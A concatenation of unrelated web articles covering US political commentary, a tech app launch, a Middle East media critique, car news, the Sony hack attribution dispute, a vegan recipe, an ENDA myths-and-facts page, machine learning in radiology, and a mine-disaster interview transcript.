The President should make it clear that any Republican effort to hold the nation hostage to the GOP’s ideological fixation on the budget deficit and a smaller government will slow the economy, likely pushing us into another recession. And that those most imperiled are the middle class and the poor.
He should emphasize that the real job creators are not the rich but the vast majority of ordinary Americans whose purchases give businesses reason to add jobs. And that if most Americans still cannot afford to buy, the government must be the spender of last resort.
Perhaps it’s too much to hope for, but I’d encourage the President to call for boosting the economy: Reversing the recent Social Security tax hike by exempting the first $20,000 of income from payroll taxes and lifting the ceiling on income subject to it, to make up the shortfall. Reviving the WPA and CCC, to put the long-term unemployed directly to work. Raising the minimum wage. Imposing a 2% annual tax surcharge on wealth in excess of $7 million to fund a world-class system of education, so all our kids can get ahead. Cutting corporate welfare and the military but not cutting public investments or safety nets the middle class and poor depend on. Giving tax credits to companies that create more new jobs in America. Helping states and locales rehire the teachers, fire fighters, police officers, and social workers they need.
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This is the most fragile recovery in modern history, from the deepest downturn since World War II. Most Americans are not experiencing a recovery at all. As has been shown in Europe, austerity economics is a cruel hoax. President Obama must acknowledge this in his State of the Union, and commit to fighting those who would impose it on America.John Kasich’s relentlessly positive stump speeches can often feel like motivational seminars. But on a rainy Tuesday night in Georgia, the man it sounded like Kasich was trying to motivate was himself.
“Here's what I know. I know I'm doing my best,” he told a crowd of 100 supporters who had spilled outside of the Sandy Springs City Hall that was too small to accommodate all of those who had shown up. “I'm following the purpose that I think has been laid out for me. And to achieve that goal …” He paused briefly. “I'm not exactly sure what the goal is. Some might say it's being elected president. Maybe it’s a different goal.”
A different goal? It would be easy to understand why Kasich might need a pep talk after the intoxicating high of his second place finish in New Hampshire crashed back to reality in South Carolina last week, where Kasich finished fifth in the primary last week. As soon as Jeb Bush dropped out, the question became when Kasich would join Bush in the departure lounge.
For a nine-term member of Congress and a two-term governor of Ohio, you have to think that the only thing worse for Kasich about losing the race is to whom he’s losing — two freshman senators and Donald Trump, the anti-Kasich by nearly every measure.
Compared to Kasich’s 23 years in the House and governor’s mansion, Trump’s resume has been unmolested by public service. While Kasich revels in recounting legislative war stories to his town hall meetings, Trump scrupulously avoids nearly any detail of any policy he says he’ll implement. And while Kasich’s intimate town halls can yield moments of emotion — such as hugging a student whose stepfather had committed suicide — at Trump's appearance in Las Vegas this past weekend, he said he'd like to punch a protester in the face (“I just want to punch him!”). And demanded, after the lights went out at an Atlanta event, that they stay off.Google Has Finally Launched The Android TV Remote Control App For iPhone
Android users know how useful the Android TV remote control app can be when you can’t find your gamepad or remote for your TV or just want to use your phone in bed to pause or change the show. Well as of today iOS users can finally enjoy that same pleasure as Google has just released it to the App Store. The user interface on Google’s latest iPhone app is pretty simple just like its Android counterpart, nearly identical, like it was ported. There are two methods of control: A D-pad with the traditional up, down, left, right and select buttons, or the touchpad which acts more like a laptop trackpad. Both modes of control also feature the voice commands mic, so that you can give commands verbally.
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However there is no gamepad support yet build into it, but we could see it soon since both platforms now have the app. In addition it’s also has a shortened name of “Android TV for iPhone” compared to Android TV Remote Control. So if you’ve been itching to control your NVIDIA SHIELD or new Sony 4k TV or even a Nexus Player with an iOS device then the day has finally arrived.
Android TV for iPhone is available to download for free in, has support for three dozen languages and is compatible with any iPhone, iPod or iPad running iOS 8 or later.
Anthony Garera Anthony is usually tinkering with everything and anything because there's always one more thing to do, reviewing games and apps and complaining about things normal people don't think about. More Posts - Website Follow Me:Former Maryland Gov. Martin O'Malley, currently a distant third in the race for the Democratic presidential nomination, used his final words in the CBS News debate on Saturday night to take one last dig at front runner Hillary Clinton:
"If you believe that our country's problems and the threats that we face in this world can only be met with new thinking, new and fresh approaches, then I ask you to join my campaign," he said in the second Democratic debate at Drake University in Des Moines, Iowa. "We will not solve our nation's problems by resorting to the divisive ideologies of our past or by returning to polarizing figures from our past."
While Clinton has been a polarizing figure nationally over the years, she has so far seen most of the Democratic Party happily coalesce around her ahead of the 2016 elections. In the second of |
.As CAMERA has noted before, Teen Vogue, a Conde Nast publication aimed at teenage girls with a circulation of over a million, has shifted away from a focus solely on fashion and shopping to include political issues. Last week, in an article ostensibly about model Bella Hadid, the magazine promoted Hamas, and relied on two DJs who together go by the name “Simihaze” for a quote on international law.
The December 7 piece, innocently titled “Bella Hadid Showed Solidarity With Palestinians on Instagram,” begins with a focus on Hadid and her post detailing her thoughts on President Trump’s announcement about Jerusalem earlier that week. Of course, Hadid is perfectly entitled to voice her opinions and feelings to her fans and followers, and in the context of fashion and celebrity gossip, that could be considered newsworthy. After quoting Hadid at length, however, the article by Araceli Cruz takes a dark turn:
Ismail Haniyeh, leader of Hamas– a Palestinian Islamist political organization and militant group –called on people to resist. “We have given instruction to all Hamas members and to all its wings to be fully ready for any new instructions or orders that may be given to confront this strategic danger that threatens Jerusalem and threatens Palestine,” Haniyeh said, according to The Independent. “United Jerusalem is Arab and Muslim, and it is the capital of the state of Palestine, all of Palestine.”
Cruz does not take the trouble to inform her young readers that in 1997, the US State Department listed Hamas as a terrorist organization. She doesn’t tell them that in 2014 Hamas financed the kidnapping and murder of three boys the same age as many of Teen Vogue‘s readers. Nor will her readers learn that when Haniyeh says “resist,” he doesn’t mean resist by wearing cute pink knitted hats. He means resist by firing rockets aimed at civilians, from civilian areas, including schools like the ones Teen Vogue readers attend. Or by tunneling into Israel to kidnap Israeli soldiers, usually teens themselves, or by perpetrating other acts of terrorism.
When Haniyeh says that “United Jerusalem is Arab and Muslim, and it is the capital of the state of Palestine, all of Palestine,” he is asserting a claim to the western section of Jerusalem as well as the eastern section. That territory is within pre-67 Israel – in other words, Haniyeh is denying Israel’s legitimacy in any set of borders.
Instead of explaining these facts, Cruz allows her readers to think Haniyeh’s call for “resistance” is no different than, say, that of a Democratic Congressperson resisting the current President.
Next, the article turns from dark to simply bizarre, as it includes a quote from two young DJs, Simi and Haze Khadra, on what constitutes a violation of international law.
It is absurd that Palestine, a country where Muslims Christians and Jews lived side by side for centuries, has been fighting to be recognized since the inception of Israel in 1948, and to add insult to injury yesterday Trump ‘decided’ to recognize Palestines capital of Jerusalem as the capital of Israel – as if it’s his to give away. This is a violation of international law and a huge setback to any hope for peace. In his speech yesterday, he never once mentioned Palestine but referred to Israel and ‘the Palestinian people’ as if Palestine never existed. Jerusalem is and always has been the capital of occupied Palestine. Declaring Jerusalem as Israels capital is a calculated move to make Palestinians lose hope of ever gaining statehood in their own country. [Punctuation errors in original Instagram post.]
Of course, after 1948, the year Jordan illegally occupied the West Bank, no one at all was fighting to recognize a Palestinian state. Jerusalem, moreover, has never been the capital of a country called Palestine – nor has a country called “Palestine” in fact ever existed. “Palestine” was a designation for a geographic region, and then a British mandate, but it was never a sovereign entity.
As to Simihaze’s claim that “Muslims[,] Christians and Jews lived side by side for centuries,” technically that’s true. The statement ignores, however, that under Islamic rule, Jews and Christians lived as second-class citizens in a type of Middle Eastern Jim Crow.
President Trump did not recognize Jerusalem as the capital of Israel because he thought it was “his to give away” – quite the opposite, in fact. Trump’s announcement recognized that the city is under Israeli sovereignty, and that international actors have no right to use it as a bargaining chip. Nor did Trump make a “declaration that Jerusalem is the capital of Israel,” as Cruz wrote in her first paragraph. Only Israel can declare its own capital. Trump simply recognized it.
Like Hadid, Simihaze are perfectly entitled to voice their disagreement with Trump’s decision. No one, however, should hold them out as arbiters of international law – especially to a young and impressionable audience.
While Teen Vogue will no longer run print editions, teens will still be able to access this and its other poorly sourced work online. Teen Vogue should explain why it included such an ignorant quote, with no indication to its readers that most of the quote, and some of the “reporting,” is factually incorrect.Jaguar has released further details of the new 14-model 2016 F-type line-up, which will include the option of a manual transmission and an all-wheel-drive model for the first time.
The manual is the first to be fitted to a Jaguar sports car since the E-type, and the new six-speed gearbox is called Quickshift and will be available only in conjunction with the F-type’s supercharged V6 engine. The “short-travel” gearlever is said to have a throw of just 45mm and “closely spaced ratios”.
Read the 2015 Jagguar F-type R AWD Coupe review here
Jaguar says the gearbox was developed in association with ZF and uses an aluminium casing and “innovative semi-dry sump lubrication system”. The ’box has a rod linkage between the lever and selector forks for “the most direct connection”.
The F-type’s centre console has been reshaped to allow the driver’s arm the maximum amount of free movement.
Jaguar says that rather than “the usual splash lubrication”, the new gearbox gets a compact mechanical pump that is driven off the layshaft and sprays oil on to the gear teeth, bearings and synchroniser rings. This has reduced oil capacity to just 1.2 litres, which, in turn, has allowed a small ’box casing.
The new manual ’box will be offered with the V6 in both 335bhp and 375bhp forms.
The 2016 F-type will also switch to electrically assisted power steering from hydraulic assistance, a first for a Jaguar. The company says the new system is the first that, its engineers feel, outperforms its existing steering systems. It is also responsible for a CO2 reduction of 4g/km.
Jaguar has also confirmed that it will bring an all-wheel-drive variant of the F-type sports car to market for the first time.SEOUL/WASHINGTON (Reuters) - North Korea said on Saturday U.S. accusations that it was involved in a cyberattack on Sony Pictures were “groundless slander,” and that it wanted a joint investigation into the incident with the United States.
An unnamed spokesman of North Korea’s foreign ministry said there would be serious consequences if Washington refused to agree to the probe and continued to accuse Pyongyang, according to the North Korean U.N. mission and its official KCNA news agency.
The United States stands by its assertion that North Korea was to blame, a White House National Security Council (NSC) spokesman said on Saturday, in response to the remarks.
On Friday, U.S. President Barack Obama blamed North Korea for the devastating cyberattack, which had led to the Hollywood studio cancelling the imminent release of “The Interview,” a comedy on the fictional assassination of North Korean leader Kim Jong Un.
In its first substantive response, the isolated North Korea said it could prove it had nothing to do with the hacking attack.
“We propose to conduct a joint investigation with the U.S. in response to groundless slander being perpetrated by the U.S. by mobilizing public opinion,” the North Korean spokesman was cited as saying by KCNA.
“If the U.S. refuses to accept our proposal for a joint investigation and continues to talk about some kind of response by dragging us into the case, it must remember there will be grave consequences,” the spokesman said.
The North Korean spokesman was quoted as making similar remarks in a statement issued later by North Korea’s U.N. mission.
NSC spokesman Mark Stroh dismissed this, saying: “We are confident the North Korean government is responsible for this destructive attack. We stand by this conclusion.”
“The government of North Korea has a long history of denying responsibility for destructive and provocative actions,” he added.
The U.S. Federal Bureau of Investigation said on Friday it had determined that North Korea was behind the hacking of Sony, saying Pyongyang’s actions fell “outside the bounds of acceptable state behavior.”
Obama said North Korea appeared to have acted alone. Washington began consultations with Japan, China, South Korea and Russia seeking their assistance in reining in North Korea.
Japan and South Korea said they would cooperate. China, North Korea’s only major ally, has yet to respond, but a Beijing-run newspaper said “The Interview” was not a movie for Hollywood or U.S. society to be proud of.
An Obama administration official said on Saturday: “In our cybersecurity discussions, both China and the United States have expressed the view that conducting destructive attacks in cyberspace is outside the norms of appropriate cyber behavior.”
It was the first time the United States had directly accused another country of a cyberattack of such magnitude on American soil and set up a possible new confrontation between longtime foes Washington and Pyongyang.
Obama said he wished that Sony had spoken to him first before yanking the movie, suggesting it could set a bad precedent. “I think they made a mistake,” he said.
A security guard stands at the entrance of United Artists theater during the premiere of the film "The Interview" in Los Angeles, December 11, 2014. REUTERS/Kevork Djansezian
“NOT CAVED IN”
Sony Pictures Entertainment Chief Executive Michael Lynton insisted the company did not capitulate to hackers and said it was still looking for alternative platforms to release “The Interview.” This week, a spokeswoman for Sony had said the company did not have further release plans for the $44 million film starring Seth Rogen and James Franco.
Despite Obama’s stern warning to North Korea, his options for responding to the attack by the impoverished state appeared limited. The president declined to be specific about any actions under consideration.
North Korea has been subject to U.S. sanctions for more than 50 years, but they have had little effect on its human rights policies or its development of nuclear weapons. It has become expert in hiding its often criminal money-raising activities, largely avoiding traditional banks.
In a separate statement on Saturday in response to criticism of its rights record, North Korea vowed to boost its “nuclear power” to counter Washington’s hostile policy, saying it had become apparent the United States aimed to invade the North under the guise of human rights abuses.
The FBI said technical analysis of malicious software used in the Sony attack found links to malware that “North Korean actors” had developed and found a “significant overlap” with “other malicious cyber activity” previously tied to Pyongyang.
But it otherwise gave scant details on how it concluded that North Korea was behind the attack.
U.S. experts say Obama’s options could include cyber retaliation, financial sanctions, criminal indictments against individuals implicated in the attack or even a boost in U.S. military support to South Korea, still technically at war with the North.
But the effect of any response would be limited given North Korea’s isolation and the fact that it is already heavily sanctioned for its nuclear program.
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There is also the risk that an overly harsh U.S. response could provoke Pyongyang to escalate any cyber warfare.
Non-conventional capabilities such as cyber warfare and nuclear technology are the weapons of choice for the impoverished North, defectors said in Seoul.I am excited! With the first sunny days here in Switzerland, I made my first (this year) Icecream! And OMG! What an Icecream! It’s a Vegan Cookie Dough Ice Cream and it is
GLUTENFREE
VEGAN
CASHEW-BASED-CREAMY TO HEAVEN
ADDICTIVE
RIDICULOUSLY EASY TO MAKE
Sounds good?
What I really love about the recipe is the fact that you don’t need an Icecream maker! Horray! Further, I think it is interesting that the main ingredients are cashews and coconut milk. Haha, ask me one year ago and I would have laughed at you when you said: Cashew-based Icecream. Well, it’s always a pleasure to learn new things. Especially when they are yummi like these!
When I had to choose the category on my blog under what to save it,I was tempted to click for ” Breakfast” because it is so good and still healthy enough to have it for breakfast!
In this recipe, I’ve used coconut sugar, but you can use any other sweetener, such as brown sugar, stevia or whatever you have at home. When I tried it yesterday, I even tested the sweetener “Yucatan” and it worked brilliantly.
Another tip from my side, that I also noted down in the recipe is to stir the Icecream while hardening (at that point when the Cookie dough is not yet in). I stirred the mixture every 20 minutes and it gets so much creamier than my last tries with Homemade Icecream.
Vegan Cookie Dough Ice Cream Save Print Prep time 15 mins Cook time 20 mins Total time 35 mins Ingredients ICECREAM
1 cup raw cashews, soaked overnight and drained
¼ cup coconut sugar (substitute with brown sugar)
¼ cup maple syrup
1.5 cups full-fat coconut milk
2 tbsp coconut oil, melted
1 tsp vanilla extract
COOKIE DOUGH
2 tbsp coconut oil
½ cup creamy peanut butter
2 tbsp coconut milk
¼ cup coconut sugar (substitute with brown sugar)
1 tsp vanilla extract
¾ cup almond flour
½ cup dairy free dark chocolate chips Instructions Soak your cashews the night before or at LEAST 6 hours in warm water In your blender combine the cashews with the coconut oil and maple syrup until fine. Add the rest of your Icecream ingredient and blend until creamy and smooth Chill the mixture in the freezer for 2-3 hours, before adding the cookie dough bites* - For the cookie dough, add coconut oil, peanut butter, coconut sugar and vanilla to a mixing bowl and use a spatula or spoon to combine. Add flour a little at a time and stir until the mixture gets thick and slightly crumbly. (Add in a little coconut or other non-dairy milk to add moisture) Then add chocolate chips and stir again. Once the Icecream is slightly frozen, stir in the cookie dough bites and sprinkle some over the Icecream. I stored them in a rectangular baking tin with baking paper inside. Cover well and freeze for at least 4 hours or until firm. * I learned that the Icecream gets more creamy when I stirred the mixture in the freezer every 20 minutes. It's worth to do it if you don't have an Icecream maker. 3.5.3208
*Recipe adapted from Minimalist Baker’s Recipe× ‘BreathAdvisor’ device measures BAC at bars
SALT LAKE CITY – A student at Westminster College turned his own bad experience into a new idea.
Jason Knott thought he was okay to drive one night after drinking with friends, but when he was pulled over by police, he failed the breathalyzer test; he blew.001 over the legal limit.
Because of his experience, Knott came up with the BreathAdvisor, a machine now installed in several bars across Utah that can test your breath for blood alcohol content.
“The best idea is if you’re going to drink, don’t drive at all. However that’s not the case for most people. So this kind of gives you an idea of where you’re at. A lot of people mix energy drinks with their alcohol and that gives you the false perception that you are more sober than you actually are,” Knott said.
You can now pay $2 to get your breath tested at Lumpy’s South, Canyon Inn, Zest and the Wasatch Brew Pub in Park City.As the Senate prepares to take its first vote on the Employment Non-Discrimination Act (ENDA) in over a decade, prominent social conservatives and right-wing media outlets have begun peddling long-debunked myths about the measure, which would protect employees from mistreatment on the basis of their real or perceived sexual orientation and gender identity.
ENDA WOULD PROHIBIT EMPLOYMENT DISCRIMINATION AGAINST LGBT WORKERS
ENDA Would Ban Employment Discrimination On The Basis Of Sexual Orientation And Gender Identity. According to the Huffington Post:
ENDA would bar companies from factoring sexual orientation or gender identity into employment decisions. Employers are already prohibited by federal law from discriminating over race, religion, age, gender or disability. The proposal exempts businesses with fewer than 15 employees as well as religious organizations. [Huffington Post, 4/25/13]
Most States Still Allow Employment Discrimination On The Basis Of Sexual Orientation And Gender Identity. According to the Center for American Progress:
[Center for American Progress, 10/18/12]
MYTH: ENDA RESTRICTS RELIGIOUS FREE SPEECH
Traditional Values Coalition: Enacting ENDA Will Cause "A Chilling Effect On Free Speech." In a July 2013 report titled "ENDA Hurts Kids," the Traditional Values Coalition (TVC) wrote:
ENDA will have a chilling effect on free speech as well as religious liberty, as those with conscience objections or religious reservations will be under the threat of lawsuits in order to accommodate this new "protected class" of transgenders. [TraditionalValues.Org, 7/7/13]
Heritage Foundation's Ryan Anderson: ENDA Would View Traditional Marriage Supporters As Bigoted. According to Heritage Foundation William E. Simon Fellow Ryan T. Anderson:
ENDA would further weaken the marriage culture and the ability of civil society to affirm that marriage is the union of a man and a woman, and that maleness and femaleness are not arbitrary constructs but objective ways of being human. The proposed law would treat these convictions as if they were bigotry. [NationalReview.com, 10/31/13]
Family Research Council's (FRC) Peter Sprigg: ENDA Is A "Direct Attack Against The Moral Convictions Of Social Conservatives." FRC Senior Fellow for Policy Studies Peter Sprigg told The Washington Post:
"Regardless of how much money [GOP donor Paul Singer and his allies, who support LGBT rights] bring to the table, it is not to the advantage of Republican officeholders politically to support his agenda," said Peter Sprigg, senior fellow for policy studies at the Family Research Council, one of the major evangelical groups opposing the ENDA. "Particularly in Republican primaries, the Republican Party is still strongly socially conservative. These are core convictions that people have." Sprigg described the ENDA as a "legislative way to declare that it's morally wrong to disapprove of homosexual conduct." The bill, he said, is a "direct attack against the moral convictions of social conservatives." [The Washington Post, 10/21/13]
FRC: ENDA Will Be Used To "Marginalize Christians." According an FRC Washington Update:
Obviously, FRC isn't in favor of discrimination against anyone for any reason. But a law like this wouldn't stop discrimination -- it would encourage it against anyone with a traditional view of morality. We all know how the activist community works. Homosexuals and transgenders will use this law to marginalize Christians and take over the marketplace -- until only their "lifestyle" is promoted. ENDA isn't about tolerance -- it's about a nationwide celebration of unlimited sexual expression. [FRC Washington Update, 11/1/13]
FACT: ENDA DOESN'T REGULATE PRIVATE, PERSONAL RELIGIOUS BELIEFS
Gender Identity Expert: There Is A "Clear Line" Between Religious Belief And Anti-LGBT Harassment. According to Dr. Jillian T. Weiss, professor of law and society at Ramapo College of New Jersey specializing in gender identity issues:
It is true that employers will be required to take action against harassers, regardless of whether their motivation is religious or not. There is, however, a clear line between belief and harassment. No one is going to take away your Bible. But you can't hit me over the head with it, either. ENDA cannot tell anyone what to believe, nor can employers. At the same time, gay employees have the right to live free from harassment on the job. In fact, it is now the law and has been since 1964 that people of all religions and walks of life have the right to be free from harassment on the job based on religion. Co-workers who want to march up to you and say "You are going to hell to burn in the eternal lake of fire!" are not be free to do so. Will this prohibit a private employer from having a Christmas tree, because some Christian sects condemn homosexuals? No. Will it prohibit a co-worker from saying "I'm a Christian."? No. But it will prohibit an attack on someone whether that attack is religiously motivated or not. Anti-gay harassment is not an issue of freedom of religion. [Bilerico Project, 10/4/09]
MYTH: ENDA PUNISHES RELIGIOUS ORGANIZATIONS
Fox News' Shannon Bream: Religious Institutions Might Be Forced To Hire LGBT People. During the October 30 edition of Fox News' Special Report, correspondent Shannon Bream stated:
BREAM: Critics of the measure have long cautioned that, while the bill might be well-intentioned, the results could wind up putting religious employers in a tough spot. For example, a Christian school that worries about being forced to hire a transgender teacher. [Fox News, 10/30/13]
FACT: ENDA INCLUDES BROAD EXEMPTIONS FOR RELIGIOUS ORGANIZATIONS
CAP: ENDA's Religious Exemption Is Broader Than Religious Exemptions From Other Title VII Protections. According to a report from the Center for American Progress (CAP):
[J]ust as religious organizations may take into account an individual's religion with respect to employment decisions, ENDA's religious exemption allows religious organizations to also take into account an individual's sexual orientation or gender identity. In other words ENDA gives religious organizations a legal right to discriminate on the basis of sexual orientation and gender identity. By contrast, Title VII does not permit religious organizations to discriminate on the basis of an individual's race, color, sex, or national origin. Going back to our earlier example, under Title VII a Lutheran school can hire or fire a teacher for being a Mormon, but not for being a woman or for being Asian American. If ENDA passed, a Lutheran school would also be able to fire or not hire a teacher for being gay or transgender, but would still not be able to do so for being a woman or for being Asian American. In this way ENDA's religious exemption is broader than that found in Title VII. [Center for American Progress, 6/11/12, emphasis added]
ENDA Includes An Explicit Exemption For Religious Organizations. According to Section 6 of ENDA:
SEC. 6. EXEMPTION FOR RELIGIOUS ORGANIZATIONS. This Act shall not apply to a corporation, association, educational institution or institution of learning, or society that is exempt from the religious discrimination provisions of title VII of the Civil Rights Act of 1964 pursuant (42 U.S.C. 2000e et seq.) to section 702(a) or 703(e)(2) of such Act (42 U.S.C. 2000e-1(a), 2000e-2(e)(2)). [S.815, Employment Non-Discrimination Act of 2013, accessed 7/2/13]
MYTH: ENDA REQUIRES EMPLOYERS TO GIVE PREFERENTIAL TREATMENT TO LGBT PEOPLE
TVC: ENDA Requires Employers To Affirm "The LGBT Lifestyle." According to the Traditional Values Coalition:
In fact, not affirming the LGBT lifestyle by remaining silent could be construed as negative bias against LGBT individuals. On May 20, 2013, a Department of Justice document titled, "LGBT Inclusion at Work: The 7 Habits of Highly Effective Managers," was leaked to the public. Specifically, the document tells DOJ managers, "DON'T judge or remain silent. Silence will be interpreted as disapproval." If the Department of Justice is already identifying silence as disapproval, then it stands to reason that silence will be argued as disapproval in the courts, and thereby used as evidence by LGBT individuals as a form of discrimination in the workplace. The document also commands DOJ managers to attend LGBT events and display LGBT-affirming stickers and literature in order to identify the workplace as "safe." What this means is that employers and co-workers will have their religious liberties completely trampled and destroyed because they could be required, under law, to affirm the lifestyle activities of LGBT individuals. [TraditionalValues.Org, 7/7/13]
FACT: ENDA PROHIBITS PREFERENTIAL TREATMENT FOR LGBT EMPLOYEES
ENDA Prohibits Preferential Treatment, Quotas For LGBT Individuals. According to Section 4 (f) of ENDA:
(f) No Preferential Treatment or Quotas.--Nothing in this Act shall be construed or interpreted to require or permit-- (1) any covered entity to grant preferential treatment to any individual or to any group because of the actual or perceived sexual orientation or gender identity of such individual or group on account of an imbalance which may exist with respect to the total number or percentage of persons of actual or perceived sexual orientation or gender identity employed by any employer, referred or classified for employment by any employment agency or labor organization, admitted to or classified by any labor organization, or admitted to, or employed in, any apprenticeship or other training program, in comparison with the total number or percentage of persons of such actual or perceived sexual orientation or gender identity in any community, State, section, or other area, or in the available work force in any community, State, section, or other area; or (2) the adoption or implementation by a covered entity of a quota on the basis of actual or perceived sexual orientation or gender identity. [S.815, Employment Non-Discrimination Act of 2013, accessed 7/2/13]
MYTH: ENDA WILL TRIGGER A WAVE OF NEW LAWSUITS
Cornerstone Policy Research's Ashley Pratte: ENDA Will "Create Thousands More Lawsuits" That Will Harm Businesses. Pratte told the New Hampshire Union Leader:
Opposition locally has been less active than the proponents, but Cornerstone Policy Research (and its political arm, Cornerstone Action) has made its position known. The groups' executive director Ashley Pratte, could not be reached for an interview Friday, but said in an email: "If our country accepts ENDA as federal law not only would it be unenforceable, it will spur litigation that in turn could be used to intimidate people of faith in companies that can't afford lawsuits. This legislation would create thousands more lawsuits and as a result would have a negative impact on small businesses across the country if passed. [New Hampshire Union Leader, 10/28/13]
Hot Air: ENDA Would Force Businesses Into Costly Litigation. According to a June 15 Hot Air blog post:
But since the laws in question have massive political appeal, they are passed into law anyway and the real winners emerge: the lawyers. Because with the law in place, everyone who doesn't get hired or is removed for cause of any sort finds themselves with the opportunity to sue the employer under the new rules. Dollars spent in such lawsuits and settlements are dollars not available to expand the payroll and get more workers off the unemployment lines. [Hot Air, 6/15/13]
FACT: LOCAL NON-DISCRIMINATION ORDINANCES HAVE NOT PROMPTED MASS LAWSUITS
Williams Institute: Local Non-Discrimination Ordinances Have Not Caused A Spike In Litigation. According to a study from UCLA's Williams Institute that evaluated the impact of local laws requiring government contractors to adopt non-discrimination policies:
Almost all of the localities surveyed reported almost uniform compliance with the contractor ordinances, with little to noresistance by contractors. Twenty-five of the 29 localities that provided information about their non-discrimination and affirmative action ordinances reported that contractors complied with the sexual orientation and gender identity requirements without resistance. Three of the 29 localities reported just minimal resistance initially but then the contractors agreed to comply when the requirements were explained to them. Of all the localities that responded to the survey, none affirmatively reported that there had been individual enforcement investigations or actions for violations of these contractor requirements. Twenty-eight of the 29 localities reported that no complaints of sexual orientation or gender identity discrimination had been filed under their non-discrimination ordinances. The remaining locality was unaware if any complaints had been made because discrimination complaints were handled by a state agency, rather than the local agency implementing the contractor requirements. In addition, none of these localities reported that contractors had been barred from bidding on future contracts because they did not comply with these ordinances. The contractor requirements have been adopted, implemented, and enforced with little disruption to government operations or work, administrative burden, cost or litigation. No locality reported that these ordinances made it difficult to find qualified contractors to carry out government work or operations. None of the localities that added sexual orientation and gender identity to non-discrimination or affirmative action ordinances reported that doing so was administratively burdensome or resulted in additional administrative or contractor costs. [Williams Institute, February 2012, emphasis original]
Center For American Progress: ENDA Would Help Employers Avoid Costly Lawsuits, Reduce Legal Penalties. According to a November 2010 report from the Center for American Progress, employers "would benefit most directly" from ENDA, as it creates "unambiguous employment guidelines" to "greatly reduce the risk of a discrimination lawsuit":
It is the employers, however, who would benefit most directly from a federal law that clarifies the boundaries of Title VII and establishes explicit protections for LGBT workers. National legislation would allow employers to adapt to unambiguous employment guidelines and greatly reduce the risk of a discrimination lawsuit facing many businesses. Studies show that employers that institute formal mechanisms for avoiding and dealing with workplace discrimination are significantly less likely to see the initial filing of a lawsuit by an employee. Employer-initiated efforts to deal with discrimination can work to preempt legal action, quickly reducing a business's legal expenses. If an employee does decide to sue an employer for employment discrimination and wins, good-faith efforts to deal with bias in the workplace can help to reduce the amount of damages a business is required to pay. The Supreme Court held in Kolstad that an employer's efforts to enforce antidiscrimination policies in the workplace functionally shield the employer from punitive damages. Even modest efforts to deal with workplace discrimination, then, can allow employers to avoid tremendous penalties in court. [Center for American Progress, 11/10/10]
Click here to learn more about the myths and facts about the Employment Non-Discrimination Act (ENDA)According to a recent New England Journal of Medicine article, radiology and pathology are particularly susceptible to the power of machine learning.
Could machine learning displace medical professionals? Signs point to yes, at least according to the New England Journal of Medicine.
Radiologists bring home $395,000 each year, on average. Pathologists? Roughly $260,000. In the near future, however, those numbers promise to drop to $0. Don't blame Obamacare, however, or even Trumpcare (whatever that turns out to be), but rather blame the rise of machine learning and its applicability to these two areas of medicine that are heavily focused on pattern matching, a job better done by a machine than a human.
I (no longer) see dead people
Image: iStock/diego_cervo
This is the argument put forward by Dr. Ziad Obermeyer of Harvard Medical School and Brigham and Women's Hospital and Ezekiel Emanuel, PhD, of the University of Pennsylvania, in an article for the New England Journal of Medicine, one of the medical profession's most prestigious journals. Machine learning will produce big winners and losers in healthcare, according to the authors, with radiologists and pathologists among the biggest losers.
In their view, machine learning will have a disproportionately bigger impact on three areas of medicine:
Machine learning will dramatically improve the ability of health professionals to establish a prognosis Machine learning will displace much of the work of radiologists and anatomical pathologists Machine learning will improve diagnostic accuracy
SEE The 6 most exciting AI advances of 2016
Honing in on the second point, the authors call out these two specialties because they're essentially asking humans to function like machines in that they rely on pattern matching. But, given enough data, machines should be far more adept at spotting a bone fracture, for example, as they write:
Massive imaging data sets, combined with recent advances in computer vision, will drive rapid improvements in performance, and machine accuracy will soon exceed that of humans. Indeed, radiology is already partway there: Algorithms can replace a second radiologist reading mammograms and will soon exceed human accuracy.
Of course, an argument can be made that machine learning will simply augment human intuition, and there's some truth to that. The problem for radiologists and pathologists, however, is the ability of machines to crunch massive quantities of data and uncover hitherto undiscoverable insights, as radiologist Nick Bryan, M.D., PhD, has discussed:
The human visual system is remarkable and radiologists learn and remember very complex patterns and use them every day to make clinical decisions and diagnoses. Modern imaging technology, however, is creating image data sets that exceed human pattern recognition capabilities. Computers and ML technology feast on such data and are rapidly becoming capable of learning incredibly complex, multi-dimensional patterns derived from large normal and diseased populations. That data may be used to diagnose known diseases, such as Alzheimer's disease, but potentially could also define new patterns for diseases such as schizophrenia.
When will my MD be rendered obsolete?
The question is when. When will this machine learning revolution sweep through radiology and pathology in a big way?
While machine learning will take years to make a dent in some industries, for radiology and pathology the future of machine learning is years, not decades, away. As Dr. Bradley Erickson, PhD, of the Mayo Clinic, has posited: "Deep-learning algorithms could begin producing radiology reports for basic studies like mammography and chest x-rays in as soon as five years, and for most types of imaging studies over the next 20 years."
While diagnostic accuracy is expected to get a boost from machine learning, Obermeyer and Emanuel expect it to take longer than the disruption of radiology and pathology. This ability to "generate differential diagnoses, suggest high-value tests and reduce overuse of testing" will emerge slowly in part because, for many conditions, the standard for diagnosis isn't well-established. In radiology and pathology, however, diagnosis tends to be "sharp and binary" (e.g., malignant vs. benign).
Whatever the impact on doctors, however, the impact of big data and machine learning on patients promises to be huge. And, along the way, if doctors are helped to get to better diagnoses faster through the aid of machines, well, that's better for both doctor and patient.
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Also seeThis is a rush transcript. Copy may not be in its final form.
AMY GOODMAN: We turn now to West Virginia, where twenty-five coal miners, at least, have died, four remain missing, after a huge explosion at a Massey Energy coal mine. It was the worst mining disaster in the United States for more than a quarter of a century.
The Charleston Gazette reports mine safety experts said initial reports are that the explosion involved methane that built up inside a sealed area of the mine or that leaked through mine seals. Workers are currently drilling holes through over a thousand feet of earth and rock to filter out dangerous gases. That means rescue efforts could be delayed until tonight to ensure rescue workers aren’t exposed to dangerous gases.
The Upper Big Branch Mine is said to have a history of safety violations for not properly ventilating explosive methane gas. According to some reports, the mine was cited for 458 safety violations last year alone.
For more, we do go to West Virginia now, where we’re joined by Maria Gunnoe. She’s an organizer with the Ohio Valley Environmental Coalition and a resident of Boone County, West Virginia, just over two miles from the site of Monday’s mining disaster. Last year she was awarded a Goldman Environmental Prize for activism against mountaintop removal mining.
Maria, tell us what you know at this point about this mine.
MARIA GUNNOE: Yes, thank you for having me on.
And what I know about this mine is it’s owned by an outlaw company known as Massey Energy, and this is — Massey Energy is — they are a company that sees production first, safety second. And this has always been an issue here working. The men that work for Massey Energy are often put in dangerous situations that they should not be put into.
